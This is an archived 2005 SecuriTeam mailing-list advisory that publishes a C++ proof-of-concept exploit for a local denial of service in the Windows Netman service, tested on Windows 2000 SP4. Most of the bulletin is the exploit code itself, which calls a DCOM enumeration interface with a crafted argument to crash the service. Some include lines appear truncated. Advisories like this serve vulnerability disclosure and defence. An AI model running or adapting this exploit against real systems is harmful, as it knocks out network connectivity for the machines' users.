

[EXPL] Windows Netman Service Local DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-07/0055.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 07/21/05

To: list@securiteam.com

Date: 21 Jul 2005 13:45:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Windows Netman Service Local DoS

SUMMARY

<Windows Netman service> Windows Netman service controls the machine's network connections. Presented in this article is a local denial of service exploit that can be used against Netman service.

DETAILS

Exploit Code:

```
//netmandos.cpp
```

```
/* Windows Netman Service Local DOS Vulnerability.
```

```
*
```

```
* By bkbll bkbll#cnhonker.net 2005-7-14 2:49
```

```
*
```

```
* TESTED ON win2k sp4
```

```
*
```

```
* Netman svchost.exe -k netsvcs:
```

```
*
```

```
* EventSystem,Irmon,RasMan,NtmsSvc,SENS
```

```
*
```

```
*/
```

```
#define _WIN32_DCOM
```

Securiteam: [EXPL] Windows Netman Service Local DoS

```
#include
#include
#include
#include
#include

#pragma comment(lib,"ole32")

MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
VConnectionManagerEnumConnection //: public IDispatch
{
public:
virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
};
CLSID CLSID_ConnectionManagerEnumConnection =
{0x0BA126AD2,0x2166,0x11D1,{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27,
0x0E}};
IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1,{0x0B1,0x0C5, 0x0,
0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

main(int argc,char **argv)
{
VConnectionManagerEnumConnection *clientcall;
HRESULT hr;

printf("Windows Netman Service Local DOS Vulnerability..\n\n");

CoInitializeEx(NULL,COINIT_MULTITHREADED);

printf("DCOM Client Trying started\n");
hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection, NULL,
CLSCTX_LOCAL_SERVER, IID_IEnumNetConnection, (void**)&clientcall);
if (hr != S_OK)
{
printf("CoCreateInstanceEx failed:%d\n",GetLastError());
return -1;
}
printf("Exploit netman service ....\n");
hr = clientcall->skip(0x80000001);//(void**)&p);
if(SUCCEEDED(hr))
{
printf("Call client proc Success.\n");
}
else
printf("Call client proc failed:%d\n",GetLastError());
```

Securiteam: [EXPL] Windows Netman Service Local DoS

```
hr = clientcall->Release();  
CoUninitialize();  
printf("Client exited.\n");  
return 1;  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:bkbll@cnhonker.net> bkbll.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.